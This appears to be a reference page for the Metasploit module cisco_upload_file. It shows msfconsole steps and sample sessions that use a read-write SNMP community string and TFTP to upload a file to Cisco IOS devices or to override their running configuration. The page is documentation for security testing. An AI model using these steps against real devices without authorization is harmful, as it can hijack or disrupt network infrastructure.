Cisco IOS SNMP File Upload (TFTP) - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/snmp/cisco_upload_file metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco IOS SNMP File Upload (TFTP)
Module: auxiliary/scanner/snmp/cisco_upload_file
Source code: modules/auxiliary/scanner/snmp/cisco_upload_file.rb
Disclosure date: -
Last modification time: 2019-04-09 09:01:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: -
This module will copy file to a Cisco IOS device using SNMP and TFTP. The action Override_Config will override the running config of the Cisco device. A read-write SNMP community is required. The SNMP community scanner module can assist in identifying a read-write community. The target must be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/snmp/cisco_upload_file
msf auxiliary(cisco_upload_file) > show options
... show and set options ...
msf auxiliary(cisco_upload_file) > set RHOSTS ip-range
msf auxiliary(cisco_upload_file) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cisco_upload_file) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cisco_upload_file) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cisco_upload_file) > set RHOSTS file:/tmp/ip_list.txt
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SOURCE: The filename to upload
Knowledge Base
Vulnerable Application
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
This is a well documented
feature of IOS and many other networking devices, and is part of an administrator functionality.
This functionality can also be used to change their running configuration. This is documented here.
A read-write community string is required, as well as a tftp server (metasploit includes one).
The default functionality of the module will upload the file and it will be saved to flash:.
The Override_Config action will override the running configuration of the device and the file will not be saved.
Verification Steps
Upload_File (Default Action)
- Enable SNMP with a read/write community string on IOS:
snmp-server community private rw - Start msfconsole
- Do:
use auxiliary/scanner/snmp/cisco_upload_file - Do:
set COMMUNITY [read-write snmp] - Do:
set lhost [your IP address] - Do:
set rhosts [ip] - Do:
set source [file] - Do:
run
Override_Config
- Enable SNMP with a read/write community string on IOS:
snmp-server community private rw - Start msfconsole
- Do:
use auxiliary/scanner/snmp/cisco_upload_file - Do:
set COMMUNITY [read-write snmp] - Do:
set lhost [your IP address] - Do:
set rhosts [ip] - Do:
set source [file] - Do:
set action [Override_Config] - Do:
run - You can Verify that the running config has been overridden by using the auxiliary/scanner/snmp/cisco_config_tftp module to download the current running config from the device.
Options
COMMUNITY
The SNMP community string to use which must be read-write. Default is public.
SOURCE
The location of the source file to be uploaded to the Cisco device.
Scenarios
Cisco UC520-8U-4FXO-K9 running IOS 12.4
msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_upload_file
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
source => /tmp/backup_config2
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
[*] Starting TFTP server...
[*] Copying file backup_config2 to 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
Cisco 3560G switch running IOS 12.2
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private`
`COMMUNITY => private`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164`
`LHOST => 10.20.164.164`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config`
`action => Override_Config`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5`
`rhosts => 10.20.205.5`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig`
`source => /root/Desktop/newconfig`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > run`
`[*] Starting TFTP server...`
`[*] Copying file newconfig to 10.20.205.5...`
`[*] Scanned 1 of 1 hosts (100% complete)`
`[*] Providing some time for transfers to complete...`
`[*] Shutting down the TFTP service...`
`[*] Auxiliary module execution completed`
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Msfconsole Usage
Here is how the scanner/snmp/cisco_upload_file auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/snmp/cisco_upload_file
msf6 auxiliary(scanner/snmp/cisco_upload_file) > show info
Name: Cisco IOS SNMP File Upload (TFTP)
Module: auxiliary/scanner/snmp/cisco_upload_file
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
pello <[email protected]>
ct5595
Available actions:
Name Description
---- -----------
Override_Config Override the running config
Upload_File Upload the file
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
LHOST no The IP address of the system running this module
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 161 yes The target port (UDP)
SOURCE yes The filename to upload
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>
Description:
This module will copy file to a Cisco IOS device using SNMP and
TFTP. The action Override_Config will override the running config of
the Cisco device. A read-write SNMP community is required. The SNMP
community scanner module can assist in identifying a read-write
community. The target must be able to connect back to the Metasploit
system and the use of NAT will cause the TFTP transfer to fail.
Module Options
This is a complete list of options available in the scanner/snmp/cisco_upload_file auxiliary module:
msf6 auxiliary(scanner/snmp/cisco_upload_file) > show options
Module options (auxiliary/scanner/snmp/cisco_upload_file):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
LHOST no The IP address of the system running this module
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 161 yes The target port (UDP)
SOURCE yes The filename to upload
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>
Auxiliary action:
Name Description
---- -----------
Upload_File Upload the file
Advanced Options
Here is a complete list of advanced options supported by the scanner/snmp/cisco_upload_file auxiliary module:
msf6 auxiliary(scanner/snmp/cisco_upload_file) > show advanced
Module advanced options (auxiliary/scanner/snmp/cisco_upload_file):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/snmp/cisco_upload_file module can do:
msf6 auxiliary(scanner/snmp/cisco_upload_file) > show actions
Auxiliary actions:
Name Description
---- -----------
Override_Config Override the running config
Upload_File Upload the file
Evasion Options
Here is the full list of possible evasion options supported by the scanner/snmp/cisco_upload_file auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/snmp/cisco_upload_file) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP> Error: <E.CLASS> <E> <E.BACKTRACE>
Here is a relevant code snippet related to the "<IP> Error: <E.CLASS> <E> <E.BACKTRACE>" error message:
169: # No need to make noise about timeouts
170: rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
171: rescue ::Interrupt
172: raise $!
173: rescue ::Exception => e
174: print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
175: ensure
176: disconnect_snmp
177: end
178: end
179: end
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Related Pull Requests
- #11690 Merged Pull Request: Cisco running config
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8336 Merged Pull Request: Specify lhost by interface name
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #1092 Merged Pull Request: Make error handling consistent in SNMP modules
- #448 Merged Pull Request: Correct emails for aux and exploit modules
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See Also
Check also the following modules related to this module:
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_device_manager
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/ike/cisco_ike_benigncertain
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/aix_version
- auxiliary/scanner/snmp/arris_dg950
- auxiliary/scanner/snmp/brocade_enumhash
- auxiliary/scanner/snmp/cnpilot_r_snmp_loot
- auxiliary/scanner/snmp/epmp1000_snmp_loot
- auxiliary/scanner/snmp/netopia_enum
- auxiliary/scanner/snmp/sbg6580_enum
- auxiliary/scanner/snmp/snmp_enum
- auxiliary/scanner/snmp/snmp_enum_hp_laserjet
- auxiliary/scanner/snmp/snmp_enumshares
- auxiliary/scanner/snmp/snmp_enumusers
- auxiliary/scanner/snmp/snmp_login
- auxiliary/scanner/snmp/snmp_set
- auxiliary/scanner/snmp/ubee_ddw3611
- auxiliary/scanner/snmp/xerox_workcentre_enumusers
- exploit/linux/snmp/awind_snmp_exec
- exploit/linux/snmp/net_snmpd_rw_access
- auxiliary/scanner/printer/printer_upload_file
- auxiliary/scanner/redis/file_upload
Authors
- pello <fropert[at]packetfault.org>
- ct5595
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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